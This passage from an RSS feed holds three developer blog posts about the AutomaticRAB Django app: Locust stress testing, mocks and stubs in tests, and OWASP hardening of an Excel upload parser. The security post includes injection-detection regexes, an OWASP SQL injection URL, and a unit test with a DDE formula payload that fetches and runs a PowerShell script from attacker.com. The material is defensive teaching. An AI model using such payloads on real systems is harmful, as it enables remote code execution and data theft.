src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f58055123c89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Under Pressure ️]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/under-pressure-e49b99db6ccb?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/e49b99db6ccb</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 07:16:27 GMT</pubDate>
            <atom:updated>2025-11-20T00:50:14.016Z</atom:updated>
            <content:encoded><![CDATA[<h4>Breaking the limits of my app using Stress/Load Testing</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3UAvvWW0VkDx5h6Ocb04Q.jpeg" /><figcaption>How my app reacts knowing it’ll undergo a ruthless stress testing session in 30 minutes</figcaption></figure><p>Building an app is one thing. Watching it face the wild, unpredictable chaos of the real world? That’s a whole different story. This week, I decided to throw <strong>AutomaticRAB</strong> into the deep end with stress testing. Think of it as a little gladiator battle for my app, pushing it to its limits to see what breaks, what bends, and what thrives.</p><p>I simulated contractors uploading massive project files, clients spamming the job-matching system, and the database juggling queries that would make even the most seasoned DBA sweat. AutomaticRAB faced every challenge head-on, revealing its strengths and exposing areas that needed improvement. Watching the app adapt and evolve under pressure was nothing short of thrilling.</p><h3><strong>Chapter 1: Reaching the Breaking Point </strong>💥</h3><h4>I’m So Stressed Out!!!</h4><p>Stress testing is basically the part where we stop treating our app gently and instead throw a whole angry mob of users at it to see what breaks first, the server, the database, or my will to live.<br>In simple terms: you push your system beyond its normal capacity to check how it behaves under extreme load. Does it slow down? Does it throw errors? Does it catch fire metaphorically? All good questions.</p><p>My Django project includes multiple routes, middleware, and DB queries. Under normal usage, it&#39;s fine. Under load?<br>Well… let’s just say I had <em>suspicions</em> that some parts were held together by hopes and prayers.</p><h3>Chapter 2: Pain With Purpose 🤕</h3><h4><strong>Why Do We Even Do This to Ourselves?</strong></h4><p>Stress testing isn’t just us bullying our own app for fun, it reveals things we’d never catch during normal usage.</p><ul><li><strong>Revealing Hidden Choke Points</strong></li></ul><p>Some parts of the system look totally fine… until a thousand requests hit them at once. Stress tests drag those slow functions and fragile endpoints out of hiding.</p><ul><li><strong>Discovering Our True Breaking Limits</strong></li></ul><p>We finally see when the app starts wheezing, lagging, or straight-up giving up on life. No more guessing — we know the exact point where things crumble.</p><ul><li><strong>Future-Proofing the System</strong></li></ul><p>Once the weak spots show themselves, we can reinforce them before real users ever push the app that far.</p><ul><li><strong>We Gain Deployment Confidence</strong></li></ul><p>After patching things up, scaling logic, or adjusting configs, we’re no longer hoping for the best. We’ve literally watched the app survive a controlled disaster.</p><h3>Chapter 3: Mass Destruction 🦗</h3><h4>Unleashing the Beasts Via Locust!</h4><p>Once we understood <em>why</em> stress testing matters, it was time to actually unleash chaos on AutomaticRAB… scientifically, of course. For this round, we targeted one of our busiest features: <strong>Automatic Price Matching</strong>, the endpoint that calculates total project cost based on AHS code + volume. Normally, it works beautifully. Under 10,000 users? Well… we learned a lot.</p><p>We can simply install locust via pip:</p><pre>pip install locust</pre><p>Then we create our locustfile_price_matching.py to run this stress test</p><pre>from locust import HttpUser, task, between<br><br>class JobMatchingUser(HttpUser):<br>    wait_time = between(1, 3)  # Simulates user think time<br><br>    @task(10)<br>    def recompute_price(self):<br>        # Pick a random job from our samples<br>        job = random.choice(self.sample_jobs)<br>        <br>        with self.client.post(<br>            RECOMPUTE_ENDPOINT,<br>            json=job,<br>            catch_response=True,<br>            headers={&quot;Content-Type&quot;: &quot;application/json&quot;},<br>            name=RECOMPUTE_ENDPOINT<br>        ) as response:<br>            if response.status_code == 200:<br>                try:<br>                    data = response.json()<br>                    # Check if we got valid response with expected fields<br>                    if &quot;unit_price&quot; in data and &quot;total_cost&quot; in data:<br>                        response.success()<br>                    else:<br>                        response.failure(&quot;Invalid response format - missing required fields&quot;)<br>                except Exception as e:<br>                    response.failure(f&quot;Failed to parse JSON: {e}&quot;)<br>            else:<br>                response.failure(f&quot;Got status code {response.status_code}&quot;)</pre><p>Then to run the locust web UI, we can simply run:</p><pre>locust -f locustfile_price_matching.py</pre><p>And voila, we can now unleash havoc to our app with a few clicks of a button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHONXz_j7p1lFw02AEGlmQ.png" /><figcaption>The Locust Web Interface</figcaption></figure><p>Then to test this thing out, we cranked the chaos knob all the way up:</p><ul><li>10,000 concurrent users</li><li>30 users per second spawn rate</li><li>throttling completely disabled, because we wanted the true breaking point</li><li>for around 15 minutes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erj-vtrMS9IKPF2QtxtFcg.png" /><figcaption>Stress Test Chart Analysis For Original Price Matching</figcaption></figure><p>After all it’s trials and tribulations, locust will report to us all the abuse our automatic price matching app has went through, and visualizing us things that can be improved on</p><p>So what did we exactly happened?</p><p><strong>1. Response Times Exploded<br></strong>At moderate load, everything behaved normally.<br>But once we reached thousands of users, the response times skyrocketed into <strong>minutes</strong>, not milliseconds.</p><p><strong>2. The Server Started Rejecting Requests<br></strong>We also began seeing:</p><ul><li>connection timeouts</li><li>requests dropping with no response</li><li>connections abruptly closed</li><li>a handful of 500 errors</li></ul><p>These are all symptoms of the backend being asked to do far more work than it can actually handle. Instead of slowing down gracefully, the server choked and stopped accepting new requests altogether.</p><p><strong>3. Session Storage Became a Major Bottleneck<br></strong>Endpoints that wrote to session had the highest failure rate.<br>Session writes under extreme load caused locks, which caused more waiting, which caused more failures, basically a domino effect.</p><p>This told us that write-heavy endpoints will always be the first to break unless optimized.</p><h3>Chapter 4: Can we fix it? 🛠️</h3><h4>Yes We Can!</h4><p>So what do we do? well we’re gonna try and optimize it so it can handle heavy loads</p><p>Stress testing revealed that repeated price lookups were hammering the database, causing massive load and slow response times. To fix this, I implemented caching for database price lookups using Django’s caching framework.</p><pre>class DatabasePriceCacher:<br>    def __init__(self):<br>        self._cache_key_prefix = &quot;db_ahsp_price:&quot;<br>    <br>    def get_cached_price(self, canonical_code: str) -&gt; Optional[Decimal]:<br>        &quot;&quot;&quot;<br>        Try to get price from cache.<br>        Returns None if not in cache or if code is empty.<br>        &quot;&quot;&quot;<br>        if not canonical_code:<br>            return None<br>        <br>        cache_key = f&quot;{self._cache_key_prefix}{canonical_code}&quot;<br>        try:<br>            cached_price = cache.get(cache_key)<br>            if cached_price is not None:<br>                logger.debug(&quot;DB cache hit for code=%s&quot;, canonical_code)<br>                return Decimal(str(cached_price)) if cached_price else None<br>        except Exception as e:<br>            logger.debug(&quot;Cache lookup failed for DB, continuing without cache: %s&quot;, e)<br>        <br>        return None<br>    <br>    def cache_price(self, canonical_code: str, price: Optional[Decimal], is_failure: bool = False) -&gt; None:<br>        &quot;&quot;&quot;<br>        Cache a price lookup result.<br>        <br>        Args:<br>            canonical_code: The code to cache<br>            price: The price to cache (None for failures)<br>            is_failure: If True, cache with shorter timeout (5 min vs 1 hour)<br>        &quot;&quot;&quot;<br>        if not canonical_code:<br>            return<br>        <br>        cache_key = f&quot;{self._cache_key_prefix}{canonical_code}&quot;<br>        timeout = 300 if is_failure else 3600  # 5 min for failures, 1 hour for success<br>        <br>        try:<br>            value = str(price) if price is not None else &quot;&quot;<br>            cache.set(cache_key, value, timeout=timeout)<br>        except Exception as e:<br>            logger.debug(&quot;Cache set failed for DB, continuing without cache: %s&quot;, e)</pre><p>And the results?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqeLFlPmkLsDAtbe6J11pg.png" /><figcaption>Charts for Improved Price Matching</figcaption></figure><blockquote><strong>1. Response Times Exploded</strong><br>At moderate load, everything behaved normally. But once we reached thousands of users, response times skyrocketed into minutes instead of milliseconds.</blockquote><p><strong>What We Did</strong>:<br>We implemented <strong>database-level caching</strong> to reduce repeated queries for price lookups. By caching frequently accessed AHS codes for 1 hour, we eliminated ~60–80% of database load.<br><strong>Result</strong>:<br>Median response times dropped from <strong>1,700ms to 710ms</strong>, and cached lookups now respond in milliseconds.</p><blockquote><strong>2. The Server Started Rejecting Requests</strong><br>Under heavy load, the server began rejecting requests with connection timeouts, dropped connections, and abrupt closures. A handful of 500 errors also appeared.</blockquote><p><strong>What We Did</strong>:<br>We enabled <strong>connection pooling</strong> in Django to reuse database connections instead of creating new ones for every request. This reduced overhead and stabilized the backend under load.<br><strong>Result</strong>:<br>Throughput increased from <strong>25 RPS to 223 RPS</strong>, handling 9x more requests before hitting infrastructure limits.</p><blockquote><strong>3. Session Storage Became a Major Bottleneck</strong><br>Endpoints that wrote to session had the highest failure rate. Session writes under extreme load caused locks, leading to cascading failures.</blockquote><p><strong>What We Did</strong>:<br>We added <strong>request-level caching</strong> for view responses, bypassing session storage for duplicate requests. This reduced write operations and prevented locks during traffic bursts.<br><strong>Result</strong>:<br>Failure rates dropped significantly for write-heavy endpoints, and duplicate requests now return instantly from cache.</p><p>By addressing these bottlenecks with caching, connection pooling, and smarter request handling, we transformed the price matching feature into a scalable, resilient system capable of handling heavy loads.</p><h3>Chapter 5: I’m Still Standing 🧍</h3><h4>Surviving my own Stress Tests (somehow)</h4><p>After throwing everything at our app, thousands of fake users, brutal request spikes, endpoints crying for help, the app is still here. A little traumatized, sure, but standing.</p><p>We learned what parts of the system are rock-solid, which ones crumble under pressure, and which ones need some love before real users ever touch them. The slowdowns, timeouts, and connection failures weren’t “bad signs”, they were a roadmap. Now we know exactly where to optimize, what to scale, and how to harden the app for the future.</p><p>At the end of the day, watching the system break teaches us far more than watching it work. And now that we’ve seen how the AutomaticRAB app behaves at its absolute limits, we’re way more prepared for whatever the real world throws at it next.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e49b99db6ccb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fake It ’Til Ya Make It ]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/fake-it-til-ya-make-it-bc91ddb368df?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc91ddb368df</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 11:17:55 GMT</pubDate>
            <atom:updated>2025-11-20T03:35:47.914Z</atom:updated>
            <content:encoded><![CDATA[<h4>The art of testing with Mock and Stubs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9W239G0Cd2TLEIl7" /><figcaption>“LEt’s jUsT CaLl ThE rEaL fUnCtIoNs fOR tHEse TeSts” I said to myself before learning about Mocks and Stubs</figcaption></figure><p>Ah yes, good ol’ tests… love them, hate them, fear them at 2 a.m… but at the end of the day, they’re the driving force behind whether our features actually work or just pretend to (woah, foreshadowing 😨).<br>We write down the flow of the feature, hit run, and if the tests succeed, we celebrate by moving on to the next 100 lines of test code…<br>If it fails?<br>We weep. We sob. We question our life choices. Then we go fix the feature.</p><p>Now that all sounds fine and dandy, but let’s do a tiny thought exercise.<br>“Imagine we’re testing method A.<br>To run method A, it internally calls function 1, function 2, and function 3.”</p><blockquote><strong>Pop quiz:</strong><br>What happens if function 1, 2, or 3 suddenly fails?</blockquote><p>If your answer is:</p><p><strong>“The test fails, even though method A didn’t do anything wrong.”</strong></p><p>then congratulations! You are correct!<br>Your prize?<br>✨ Developing permanent trust issues. ✨</p><p>So how do we avoid this emotional damage?<br>How do we stop random helper functions from dragging our tests down with them?</p><p>Thankfully, we have these magical little creatures called <strong>mocks</strong> and <strong>stubs.</strong><br>What are they? How do they save your sanity?<br>Well… keep reading and maybe you’ll understand how they work.</p><p>No promises though.</p><h3>Chapter 1: Stub-ling Down 🤸</h3><p>Our code can spit out a<em> whole buffet</em> of different outputs depending on what gets passed into it. Cute in production, but an absolute headache in tests. Sometimes we just wanna have one predictable value to be tested and keep our peace.</p><p>That’s exactly where <strong>stubs</strong> come in.<br> A stub is basically a chill stand-in, it just returns a fixed value we choose. This lets our test focus on it’s<em> core logic</em>, not whatever our dependencies are feeling that day.</p><p>Let’s imagine a feature that counts an area of a shape.<br>CircleService calculates the area of a circle, but it depends on a repository to fetch the radius:</p><pre># Implementation<br>class CircleService:<br>    def __init__(self, repo):<br>        self.repo = repo<br><br>    def compute_area(self, circle_id):<br>        r = self.repo.get_radius(circle_id)<br>        return 3.14 * r * r</pre><p>Now let’s make the test, with stubs of course!</p><pre>class StubCircleRepo:<br>    def get_radius(self, circle_id):<br>        return 5  # Fixed value for Circle Radius<br><br>def test_compute_area_with_stub():<br>    service = CircleService(StubCircleRepo())<br><br>    result = service.compute_area(&quot;circle-001&quot;)<br><br>    assert result == 3.14 * 25  # 5^2 = 25<br></pre><p>Here, we replace the real repo with StubCircleRepo, which always returns 5 as the radius, no database and no surprises.<br>This means the test can <strong>focus only on whether </strong><strong>compute_area does its job</strong>, because the input is 1000% predictable.</p><h3>Chapter 2: The Mocking-Jay 🐦</h3><p>Our code doesn’t just <em>return</em> values,it usually <em>does </em>other things as well.<br>It calls other functions, triggers actions, updates stuff, nags other objects… you get the idea. Expected in production, but in tests? Big nope. Because suddenly we’re not just checking the output of one method… we’re checking whether <strong>every method/function</strong> called to do our main tested method works or not.</p><p>Luckily for us, that’s where <strong>mocks</strong> come in.</p><p>A mock is basically a nosy stand-in whose purpose is to <strong>observe what our code does</strong>. It doesn’t compute anything, it just checks if we called the method/function you were supposed to call in order to run the tests.</p><p>Again, let’s simulate this on a mini feature that sends messages. GreetingService creates a message and asks Messenger to send it.<br> In tests, we don’t need it to actually send anything, we only want to test that send() was called correctly.</p><pre>class Messenger:<br>    def send(self, message):<br>        # Pretend this sends the message somewhere<br>        print(f&quot;Sending: {message}&quot;)<br><br><br>class GreetingService:<br>    def __init__(self, messenger):<br>        self.messenger = messenger<br><br>    def greet(self, name):<br>        msg = f&quot;Hello, {name}!&quot;<br>        self.messenger.send(msg)</pre><p>Now let us simulate the Mock Test:</p><pre>from unittest.mock import Mock<br><br>def test_greet_calls_send():<br>    mock_messenger = Mock()<br><br>    service = GreetingService(mock_messenger)<br><br>    service.greet(&quot;Alex&quot;)<br><br>    mock_messenger.send.assert_called_once_with(&quot;Hello, Alex!&quot;)</pre><p>Just like the stub example fixed the radius value for predictable inputs,<br> the mock here replaces the real Messenger with Mock(), which basically just checked that messenger</p><p>Here, we replace the real messenger with a <strong>mock</strong>, which doesn’t actually send anything. Instead, it quietly checks whether .send() was called and with what message.<br>This means our test can laser-focus on whether send_greeting() behaved correctly, like if it did build the right string, and if it did actually call the messenger.</p><h3>Chapter 3: Mocking the Matchmaker</h3><p>So now that we’ve met our two little gremlins, let’s apply them to something <em>real</em> from my project:</p><p>What do I wanna test?<br><strong>Does the matcher skip candidates whose names normalize to empty strings?</strong></p><p>Sounds simple, until we realize in order to do just that, we need</p><ul><li>a repository</li><li>a similarity calculator</li><li>a candidate provider</li><li>AND the matching processor itself</li></ul><p>Now having all those may sound fine and dandy, until one of them failes and makes the test fail for reasons that have nothing to do with the actual behavior we’re actually testing. Congratulations now we’re sad and confused!</p><pre>def test_find_best_match_skips_empty_candidate_name(self):<br>    &quot;&quot;&quot;Test best match skips candidates with empty normalized names.&quot;&quot;&quot;<br>    repo = AhsRepository()<br>    calculator = SimilarityCalculator(WordWeightConfig())<br>    provider = CandidateProvider(repo)<br>    processor = MatchingProcessor(calculator, provider, 0.5)<br><br>    result = processor.find_best_match(&quot;valid&quot;)<br><br>    self.assertIsNotNone(result)<br>    self.assertEqual(result[&quot;id&quot;], 3)</pre><p>Now at this test that is supposed to only test one thing brought out the whole gang, we got:</p><ul><li>The real repo loads the entire AHS repository entries.</li><li>CandidateProvider filters based on real logic.</li><li>SimilarityCalculator does real fuzzy scoring.</li><li>MatchingProcessor orchestrates everything.</li></ul><p>That’s four extra classes we don’t want in the test. And if any of them breaks? This test fails too, even if the skip logic is perfectly fine.</p><p>Now let’s see what happens if I created an “intentional error” in my code:</p><pre>class CandidateProvider:<br>    def __init__(self, repository: AhsRepository, synonym_expander: SynonymExpander = None):<br>        self._repository = repository<br>        self._synonym_expander = synonym_expander<br>        self._compound_materials = get_compound_materials()<br><br>    def get_candidates_by_head_token(self, normalized_input: str, unit: Optional[str] = None) -&gt; List[AhsRow]:<br>        &quot;&quot;&quot;Get candidates and filter by unit if provided.&quot;&quot;&quot;<br>        logger.debug(&quot;CandidateProvider: input=%s, unit=%s&quot;, normalized_input, unit)<br><br>        # INTENTIONAL BUG: Simulating CandidateProvider failure to demonstrate mocking importance<br>        raise RuntimeError(&quot;CandidateProvider.get_candidates_by_head_token() failed - this shows why mocking is important!&quot;)<br><br>        # Get candidates using existing logic<br>        candidates = self._get_candidates_internal(normalized_input)<br><br>        # Apply unit filter<br>        if unit:<br>            candidates = _filter_by_unit(candidates, unit)<br><br>        return candidates</pre><p>Here i created an intentional bug, where CandidateProvider will always raise a RuntimeError everytime it’s called. So what happens to the test?</p><pre>&gt; python manage.py test automatic_job_matching.tests.test_fuzzy_matcher.MatchingProcessorTests.test_find_best_match_skips_empty_candidate_name<br><br>======================================================================<br>ERROR: test_find_best_match_skips_empty_candidate_name (automatic_job_matching.tests.test_fuzzy_matcher.MatchingProcessorTests.test_find_best_match_skips_empty_candidate_name)<br>Test best match skips candidates with empty normalized names (line 549).<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/tests/test_fuzzy_matcher.py&quot;, line 680, in test_find_best_match_skips_empty_candidate_name<br>    result = processor.find_best_match(&quot;valid&quot;)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/service/fuzzy_matcher.py&quot;, line 559, in find_best_match<br>    candidates = self._candidate_provider.get_candidates_by_head_token(normalized_query, unit)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/service/fuzzy_matcher.py&quot;, line 203, in get_candidates_by_head_token<br>    raise RuntimeError(&quot;CandidateProvider.get_candidates_by_head_token() failed - this shows why mocking is important!&quot;)<br>RuntimeError: CandidateProvider.get_candidates_by_head_token() failed - this shows why mocking is important!<br><br>----------------------------------------------------------------------<br>Ran 1 test in 0.001s<br><br>FAILED (errors=1)</pre><p>Well of course it raises an error, as the CandidateProvider function that is called in the function does not work 😿. Obviously this is not ideal since our test is solely designed to test if best_match skips empty names, not if CandidateProvider works or not.</p><p>So what do we do? well implement the tools that I’ve been preaching this entire blog…</p><p>So here’s the modified test, now with Mocks AND Stubs 🤯</p><pre>from unittest.mock import <br><br>def test_find_best_match_skips_empty_candidate_name(self):<br>    # Mock calculator - always returns high score<br>    calculator = Mock()<br>    calculator.calculate_sequence_similarity.return_value = 0.9<br>    calculator.calculate_partial_similarity.return_value = 0.9<br>        <br>    # Mock provider - returns our test candidates<br>    provider = Mock()<br>    provider.get_candidates_by_head_token.return_value = [<br>        AhsRow(1, &quot;A.01&quot;, &quot;&quot;),<br>        AhsRow(2, &quot;A.02&quot;, &quot;   &quot;),<br>        AhsRow(3, &quot;A.03&quot;, &quot;valid name&quot;),<br>    ]<br>        <br>    # Create processor with mocked dependencies<br>    processor = MatchingProcessor(calculator, provider, 0.5)<br>        <br>    result = processor.find_best_match(&quot;valid&quot;)<br>        <br>    # Should find the valid candidate, skipping empty ones<br>    self.assertIsNotNone(result)<br>    self.assertEqual(result[&quot;id&quot;], 3)</pre><p>First, I converted the original repo into a real stub. No logic, no smart filtering, no normalization, nothing behind the scenes. It simply returns the exact three rows I feed into it:</p><ul><li>one candidate with an empty name</li><li>one candidate with a whitespace-only name</li><li>and the only real usable candidate, “valid name”</li></ul><p>That gives me a predictable dataset and removes all uncertainty about what get_candidates_by_head_token or any internal filtering might be doing.</p><p>For the similarity part, I used a mock. I don’t care how similarity is calculated here, that’s the SimilarityCalculator test’s job. In this test, all I need is for the calculator to always treat “valid name” as the best option. <br>So both similarity functions (calculate_sequence_similarity and calculate_partial_similarity) just return 0.9 every time. The calculator can be completely broken and this test will still run exactly the same.</p><p>Once both dependencies are neutralized, the only behavior left is the part I actually want to test:</p><ul><li>empty names → skipped</li><li>whitespace-only names → skipped</li><li>valid name → picked as the best match</li></ul><p>That’s why the mocked MatchingProcessor should return the candidate with ID 3. If this test ever fails, it points directly to a bug in the skipping logic, not the repo, not the similarity algorithm, not any other side-effect.</p><p>But enough of that, does it work tho? cuz that’s all we care about, since I’m not gonna fix the “intentional” error I created to demonstrate Mocks and Stubs until the tests pass:</p><pre>&gt; python manage.py test automatic_job_matching.tests.test_fuzzy_matcher.MatchingProcessorTests.test_find_best_match_skips_empty_candidate_name<br><br>----------------------------------------------------------------------<br>Ran 1 test in 0.001s<br><br>OK<br>Found 1 test(s).<br>System check identified no issues (0 silenced).</pre><p>And there we go, a succeeding test, even when the implementation still fails.</p><h3>Chapter 4: Mock ‘n Roll 🔥</h3><p>Stub and mock are powerful tools to make code testing more efficient. As our application grows, dependencies of one feature with another will occur more frequently. To avoid choking the tests, we can use the dynamic duo to create more specific/modular tests by mocking external implementations and save up time for other more important things, like making the rest of the tests…</p><p>Happy Testing!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc91ddb368df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Better Safe Than Sorry (and Hacked)]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/better-safe-than-sorry-and-hacked-060febb45971?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/060febb45971</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Tue, 11 Nov 2025 02:06:34 GMT</pubDate>
            <atom:updated>2025-12-09T06:20:42.591Z</atom:updated>
            <content:encoded><![CDATA[<h4>Keeping bad actors out, one security practice at a time</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8el6deWL4JTFiO45.jpg" /><figcaption>Only employing the best, state of the art security</figcaption></figure><p>Let’s be real: in software, <strong>if it can go wrong, it will.</strong> Especially when you’re dealing with construction project data and financial calculations, where a tiny vulnerability can turn into a colossal financial hole. Our <strong>AutomaticRAB</strong> application doesn’t just treat security as an afterthought, we treat it as the <strong>foundational layer</strong>. We’ve taken the lessons from the <strong>OWASP Top 10</strong> and baked them right into our codebase.</p><p>We’re going one step at a time, starting with the most vulnerable process: deployment. Here’s how we turned our build process into a secure digital vault.</p><h3>Chapter 1: Scouting the Wasteland 🪾</h3><p>Once the dust settled, we pulled out our Threat Analysis Matrix, basically a survival map of everything that could possibly end our system. Like any good apocalypse guidebook, it highlighted which monsters lurk nearby, how lethal they are, and how quickly they’ll ruin our day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUFR1BtjXR6kArQbFq9Bnw.png" /><figcaption>Risk Analysis Matrix of the Excel Parser</figcaption></figure><p>From the map, three threats stood out like glowing red skulls:</p><ul><li>A03 Injection Attacks, little payload gremlins smuggled inside Excel and PDF files</li><li>A05 Security Misconfiguration, leaving your front door open during a zombie outbreak</li><li>A04 Insecure Design, handing your file system a chainsaw and hoping for the best</li></ul><p>These three combined had the highest likelihood, highest impact, and the highest chance of turning our parser into flaming rubble.</p><h3>Chapter 2: The Infection Spreads (A03 Injection) 🩸</h3><p>The <strong>A03:2021 — Injection</strong> threat is a malicious script or formula smuggled inside a user-uploaded file (like an Excel cell or PDF content). If executed, these payloads can lead to <strong>Remote Code Execution (RCE)</strong> or <strong>data exfiltration</strong>, a clear <strong>High Risk/P1 Critical</strong> threat.</p><h4>🚨 Patient 0: The Trusting Parser</h4><p>Our code was initially too trusting. It took data straight from the file and inserted it into our database models without filtering:</p><pre># excel_parser/views.py - Line 21<br><br>TestItem.objects.create(<br>    job=job,<br>    name=description,  # ⚠️ Unsanitized user input<br>    quantity=quantity,<br>    unit_price=unit_price<br>)</pre><p>🛡️ OWASP Prevention Strategy: Keep Data Separate from Commands</p><p>OWASP recommends several defensive measures to prevent injection:</p><p>1. <strong>Use a safe API</strong> that avoids the interpreter entirely or provides a parameterized interface</p><p>2. <strong>Implement positive server-side input validation</strong> using allowlisting</p><p>3. <strong>Escape special characters</strong> using specific syntax for the interpreter</p><p>4. <strong>Use ORMs carefully</strong> as even parameterized queries can be vulnerable if they concatenate user input</p><h4>🛡️ The Vaccine: Input Sanitization</h4><p>We directly implement <strong>Positive Server-Side Input Validation </strong>using an allowlist approach:</p><p>We implemented a comprehensive `InputSanitizer` that follows OWASP’s positive validation approach, explicitly blocking known attack patterns rather than trying to guess what’s safe:</p><pre># excel_parser/services/input_sanitizer.py<br>    # Formula injection patterns (Excel/CSV injection)<br>    FORMULA_PATTERNS = [<br>        re.compile(r&#39;^[=+\-@|%]&#39;, re.IGNORECASE),  # Formula injection<br>        re.compile(r&#39;cmd\s*\|&#39;, re.IGNORECASE),    # Command pipes<br>        re.compile(r&#39;powershell&#39;, re.IGNORECASE),  # PowerShell execution<br>    ]<br>    <br>    # SQL injection patterns<br>    SQL_PATTERNS = [<br>        r&#39;(\bUNION\b.*\bSELECT\b)&#39;,<br>        r&#39;(\bDROP\b.*\bTABLE\b)&#39;,<br>        r&quot;(&#39;\s*OR\s*&#39;1&#39;\s*=\s*&#39;1)&quot;,<br>    ]<br>    <br>    @classmethod<br>    def sanitize_text_field(cls, value: Any, field_name: str = &quot;field&quot;) -&gt; str:<br>        text = str(value).strip()<br>        <br>        # ✅ Check for formula injection<br>        if cls._contains_formula_injection(text):<br>            raise ValidationError(<br>                f&quot;{field_name} contains forbidden formula pattern. &quot;<br>                f&quot;Values starting with =, +, -, @, |, or % are not allowed.&quot;<br>            )<br>        <br>        # ✅ Check for SQL injection patterns<br>        if cls._contains_sql_injection(text):<br>            raise ValidationError(<br>                f&quot;{field_name} contains forbidden SQL pattern.&quot;<br>            )<br>        <br>        return text</pre><h4>💥 OWASP Attack Scenario: Formula Injection via Excel Cells</h4><p>OWASP’s injection examples focus on SQL queries, but the principle is identical for Excel formula injection. Their scenario shows an attacker modifying a parameter:</p><pre>http://example.com/app/accountView?id=&#39; UNION SELECT SLEEP(10); -</pre><p>In our context, the attack vector is an Excel cell containing a malicious formula. Our attack simulation replicates this pattern:</p><pre>def test_dde_injection(self):<br>    &quot;&quot;&quot;<br>    OWASP Attack Pattern: Dynamic Data Exchange (DDE) injection<br>    Similar to OWASP&#39;s UNION SELECT attack but through Excel formulas<br>    <br>    Attack: =cmd|&#39;/c powershell IEX(wget attacker.com/shell.ps1)&#39;!A1<br>    Impact: Remote code execution, similar to SQL injection&#39;s ability to <br>            execute stored procedures<br>    &quot;&quot;&quot;<br>    malicious_input = &quot;=cmd|&#39;/c powershell IEX(wget attacker.com/shell.ps1)&#39;!A1&quot;<br>    <br>    with self.assertRaises(ValidationError) as context:<br>        self.sanitizer.sanitize_text_field(malicious_input, &quot;cell&quot;)<br>    <br>    self.assertIn(&quot;formula pattern&quot;, str(context.exception))</pre><p>Just as OWASP’s SQL injection example could “invoke stored procedures,” our DDE injection could execute arbitrary commands. The attack changes the meaning of the data from a simple text value to an executable command, exactly the threat OWASP warns about.</p><pre># Assertion: Verify the sanitizer blocks the injection<br>✅ PASS: Excel formula (=) injection blocked<br>✅ PASS: DDE injection blocked<br>✅ PASS: SQL injection (UNION) blocked<br>✅ PASS: Command injection (powershell) blocked</pre><p>The sanitizer successfully prevented all injection attempts by forcing an immediate `ValidationError` before the malicious data could reach the interpreter (database, operating system, or Excel’s formula engine).</p><h3>Chapter 3: The Broken Barricade (A05 Security Misconfiguration) 🚪</h3><h3>The Problem: Leaving Your Front Door Open</h3><p>The second critical threat was <strong>A05:2021 — Security Misconfiguration</strong>. This was not a logic error, but a failure to correctly configure key security controls: <strong>disabling Cross-Site Request Forgery (CSRF) protection</strong> and <strong>failing to implement rate limiting</strong>. This neglect was a <strong>High Risk/P1 Critical</strong> flaw.</p><h4>🚨 Vulnerable Code: Misconfigured View</h4><p>The initial view disabled critical security middleware and lacked crucial operational controls:</p><pre># excel_parser/views.py - OLD VERSION<br>from django.views.decorators.csrf import csrf_exempt<br><br>@csrf_exempt  # ❌ Critical Misconfiguration: CSRF protection disabled<br>def preview_rows(request):<br>    &quot;&quot;&quot;No security checks at all&quot;&quot;&quot;<br>    # ❌ Misconfiguration: No rate limiting configured<br>    # ...</pre><h4>🛡️ OWASP Prevention Strategy: Secure Installation and Hardening</h4><p>OWASP recommends a comprehensive approach to prevent misconfiguration:</p><ol><li><strong>Implement a repeatable hardening process</strong> that makes deployment of secure environments fast and easy</li><li><strong>Configure all environments identically</strong> (dev, QA, production) with different credentials</li><li><strong>Use a minimal platform</strong> without unnecessary features or components</li><li><strong>Review and update configurations</strong> as part of patch management</li><li><strong>Implement segmented architecture</strong> with proper separation between components</li><li><strong>Send security directives to clients</strong> (security headers)</li><li><strong>Automate verification</strong> of configurations and settings</li></ol><h4>🛡️ Our Implementation: Full Security Stack</h4><p>Our implementation maps directly to OWASP’s prevention strategies:</p><p>We implemented a comprehensive security middleware that follows OWASP’s hardening recommendations:</p><pre># excel_parser/middleware/upload_security.py<br>class UploadSecurityConfig:<br>    &quot;&quot;&quot;<br>    OWASP A05:2021 - Security Misconfiguration Prevention<br>    Properly configured security controls<br>    &quot;&quot;&quot;<br>    <br>    # Rate limiting: 10 requests per 60 seconds<br>    RATE_LIMIT_REQUESTS = 10<br>    RATE_LIMIT_WINDOW = 60<br>    <br>    # File size limits<br>    MAX_FILE_SIZE_EXCEL = 10 * 1024 * 1024  # 10 MB<br>    